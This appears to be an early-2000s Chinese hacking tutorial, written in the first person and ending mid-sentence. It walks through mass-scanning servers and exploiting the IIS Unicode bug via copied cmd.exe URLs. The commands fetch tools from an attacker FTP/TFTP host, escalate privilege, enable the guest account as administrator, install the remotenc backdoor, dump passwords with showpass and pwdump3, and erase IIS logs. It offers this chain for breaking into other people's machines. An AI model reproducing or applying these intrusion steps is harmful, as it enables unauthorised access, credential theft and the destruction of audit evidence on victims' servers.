先用流光(在iv FOR 2000/nt/xp的版本下)
一般都是用SQL扫描(现在的流光都有IIS/PRONTPAGE扫描了，那就用这个）,然后利用的是iis远程执行命令漏洞，这个漏洞你应该知道一般有这个漏洞就有U漏洞，但是有U漏洞不一定有这个漏洞，所以我一般都扫个2-3万台
（网段）比如111.111.1.1-111.111.100.255
然后就去干别的，运气再不好，也有个好多台。
然后呢？我的手法是这样的
在IIS远程执行命令漏洞下（这个漏洞流光可以连接，其实就是U漏洞的各种类型，也就说你扫到U漏洞了用我以下写的手法一样非常容易入侵一台机器：），打入
copy c:winntsystem32cmd.exe c:inetpubscriptstreasure.exe（如果是U漏洞在IE上打入:..../scripts/cmd.exe?/c+copy c:winntsystem32cmd.exe c:inetpubscriptstreasure.exe)
其实在IIS远程执行命令漏洞下我们一般能用到的DOS命令（常用的）
是set查看他的网站结构，dir查看上传情况(记的常用dir c:xxx/s这个命令）
（此时可以在IE上打入ip/scripts/treasure.exe?/c+set,很有成就感是吗？）
虽然很多时候用SET就能看到网站的WEB目录但是更多的时候还是要用到这个命令
PATH_TRANSLATED=c:inetpubwwwroot
这个就是SET后的结果中的一句话
这个就是网站的WEB目录，那如果没这句话呢？没关系用DIR C:XXX/S这个命令啊
网站上随便找张图点右键，看到图的名字了吧呵呵替换XXX呵呵：）如果C盘下没有？
呵呵试到F盘：）肯定会有的哈哈
SET还可以查看到很多东东呢：）好好去实验吧，比如SCRIPTS目录，我还碰到过
SCRIPTS目录是c:progra~1....masca什么的呢：）这个你多实验肯定会知道的
接着呢我比较喜欢在IE上做事，其实在IIS远程命令执行漏洞上利用是一样的
ip/scripts/treasure.exe?/c+
这里你该明白了，我们权限很小，一般只能在这里用FTP或者TFTP上传：）
tftp的命令为
ip/scripts/treasure.exe?/c+tftp+ip+get+idq.dll+c:inetpubscriptsidq.dll
FTP的命令为
ip/scripts/treasure.exe?/c+echo+open+free.tsee.net>bbs.txt (你的FTP站点，在DOS下用FTP命令你就明白我所写了语句了）
ip/scripts/treasure.exe?/c+echo+treasure>>bbs.txt(ftp用户名)
ip/scripts/treasure.exe?/c+echo+123456>>bbs.txt(ftp密码)
ip/scripts/treasure.exe?/c+echo+get+idq.dll>>bbs.txt(idq.dll利用044漏洞入侵的，呵呵直接运行IDQ。DLL亦可以得到个ADMINISTRATOR用户和密码,iisuser,密码是abcd1234.)
直接运行的命令为ip/scripts/treasure.exe?/c+c:inetpubscriptsidq.dll(直接运行其他程序也是一样的用法，聪明的人应该现在就看出来了用的全是DOS命令）
ip/scripts/treasure.exe?/c+echo+bye>>bbs.txt
ip/scripts/treasure.exe?/c+ftp+-s:bbs.txt(ftp命令的高级使用了吧呵呵）
注意>是完全替换就是说BBS。TXT原来是存在的用>写就用现在的语句替换了，>>是写第二行第三行，
依次类推
这里要注意的是bbs.txt最后一定要删除，这里留下了你的FTP站点名字和你的用户名和密码
如果你下次还想用的话呵呵最好删除了（给个建议用台肉鸡开个FTP自己建立用户名和密码）
那样最方便了：）用肉鸡做事
然后呢就好办了
ispc ip/scripts/idq.dll
这里要补充的是，既然我们扫的是SQL出来的是IIS漏洞，当然能利用IDQ。DLL了，
其实有时候你扫到弱IPC密码和用户，他没开HTTP或者没用IIS那样的话呵呵，IDQ。DLL用不上了
我们只能上传些木马类的了。
这个是很好的后门，我最喜欢用这个了
别忘记连接后要按三次回车算一次的。
接着一般以我的手法是激活guest
net user guest /active:yes
net user guest 123456
net localgroup administrators guest /add
然后呢用ipc连接传个showpass到他的system32目录下呵呵肯定用的上的
net use \ipipc$ "800214520" /user:"guest"
copy showpass.exe \ipadmin$system32showpass.exe
net use \ipipc$ /delete(呵呵习惯要好)
这里要说明的是有兴趣的朋友亦可以上传IRC木马和csrss.exe（简短说明: 本软件可以在Nt4.0/Win2000的系统上面添加Administrators权限账号，由于采用时间添加方式，以任务方式添加账号，在中午12点整时自动添加账号，13点时删除账号，18点时添加账号，19点时删除账号，23点时
添加账号，0点删除账号，由于以上几个时间段都是网管最容易忽视的时间，网管根本不会想到你会拥有Administrators权限
账号，从而使得你的劳动结果不会被破坏，:)
下载地址为：http://www.sandflee.net/down/show.asp?id=62&down=1
IRC木马不介绍的原因是太可怕，亦是我认为唯一算的上是好木马
说到开后门了
其实在上步的时候有兴趣的朋友可以上传ASP后门（不推荐觉的权限不够大）
这里我们用的是remotenc
remotenc没有日志记录（爽吗？）呵呵
remotenc对付administrator密码为空的时候输入""（嘿嘿）
remotenc的说明呵呵详细吧
RemoteNC <IP> <Username> <Password> <Starting Mode>
<Service Name> <Description Name>
<Listen Port> <Control Password> [/OVERWRITE]
remotenc x.x.x.x 用户 密码 (LocalSystem or RunAsUser 任选一下) 服务名 服务描述 监听端口 控制密码 [是否覆盖原有服务]
这里介绍一下我朋友说的隐藏REMOTENC的方法没用过（呵呵不是经验之谈了懒啊没办法)
remotenc 192.***.***.*** Administrator 123456 localsystem Server Server 7 123456(创建remotenc后门)
telnet后门后
dir server.exe
attriv server.exe +h +r
dir server.exe
呵呵用的是DOS命令（很实用啊)
别人不能覆盖你的后门了（因为是只读)
当然了有兴趣的可以装个Sniffer
还有的是remotenc的补充说明（可以本地安装）方便吧：）
可以TELNET后用SHOWPASS（这就是为什么放在system32下的原因了）
SHOWPASS的实用，他本地机器用ADMINISTRATOR登陆后呵呵：）我们SHOWPASS肯定能得到
ADMINISTRATOR的密码哈哈爽吗？
很多时候这个密码在SQL和FTP还有PCANYWHERE里面都是通用的啊
有个软件要注意
dwrcc这里要说明的是这个软件不推荐，但是确实很实用（只要能建立IPC连接就能用这个了，大多数情况）主要这个是图形界面的。但是如果你机器突然之间下面多了个图标或者有时候鼠标移动有些问题，呵呵你会怎么想？ 介绍一下我关于使用SHOWPASS的经验；）
你已经会ispc提升权限，idq.dll(也可以当作后门使用),会出现提示符
c:winntsystem32>showpass(在这里输入一样ok,前提当然已经用copy showpass.exe \ipadmin$system32,传到这个目录了)
用remotenc开了后门以后telnet上去输入showpass(COPY是必须的)
成功率相当的高，前提是他那台机器本地用administrator已经登陆，好象WIN2000/NT 把管理员的密码登陆后存放在内存里了还是明文的..
知道管理员的密码不就又是个后门了，更多的是管理员的密码==pcanywhere的密码=sql的密码哈哈哈哈
showpass的原理(meteor写的我没看懂)
GetWindowText()
and TextOut() window API's
REMOTENC本地安装IP改成127.0.0.1
还有的是REMOTENC有两种模式可以安装推荐第一种：）90%的机器都能安装成功的（呵呵没装个好的防火墙）
现在的经验是不需要这个也可以IDQ.DLL亦是个好后门不会被杀
还有你REMOTENC装好后就把GUEST 停用吧：）保险点
呵呵别忘记删除日志（这个不是我的习惯，不要跟我学习）
cleaniislog.exe . 你的ip //删除所有日至中有你的ip的纪录。
cleaniislog.exe C:winntsystem32logfilesw3svc1ex020208.log 你的ip //指定删除一个日志文件中你的ip纪录。
p.s: 不一定是w3svc1，有可能是w3svc2 ,vc3等， ex020208 为02年02月08号的日志，即当天日志。
如果不是~
运行：cleaniislog.exe /? 看看帮助。 （这个也不是我写的）
随便看看吧，我的建议是手动改日志
文件目录（唉呀你没看到上面的语句啊）
关于ispc和IDQ.DLL呵呵前面介绍了这里就不说了，反正就这么用(idq.dll可以改成数个名字亦可以使用)
还要推荐个PIPEUPADMIN这个软件很多朋友问我有GUEST用户能上传文件该怎么办，
好简单啊：）用这个软件啊上传后运行就可以了啊：）呵呵强制提升权限。
还有啊pwdump3这个软件是抓回SAM挡的：）（有用户名和密码就可以抓回了）LC3破好了
ip/scripts/treasure.exe?/c+type+c:xxxxxx.htm
嘿嘿这个是查看文件的目录，你试一下效果好吗？呵呵其实一般找到WEB目录的路径我就不信找不到他的主页
这里要补充的是。其实IIS远程执行命令漏洞就是U漏洞的几个类型从A-F：（我好象也刚领悟）
所以U漏洞也一样利用我写的手法,成功率非常之高。国内很多日10万IP的网站依然有此漏洞。为什么我很多时间不深入探讨PRINTER溢出，PRINTER溢出针对的是没打SP2的：（那没打SP2的肯定有U漏洞了。多思考你会比别人进步的更快。
这里还要提供一个入侵的新思路如果我用U漏洞或者用FTP能访问他的目录或者其他的方法能访问他的目录并且有删除文件的功能。试试删除了他的winnt/repair和winnt/config下的SAM文件。（2000为SAM，NT为SAM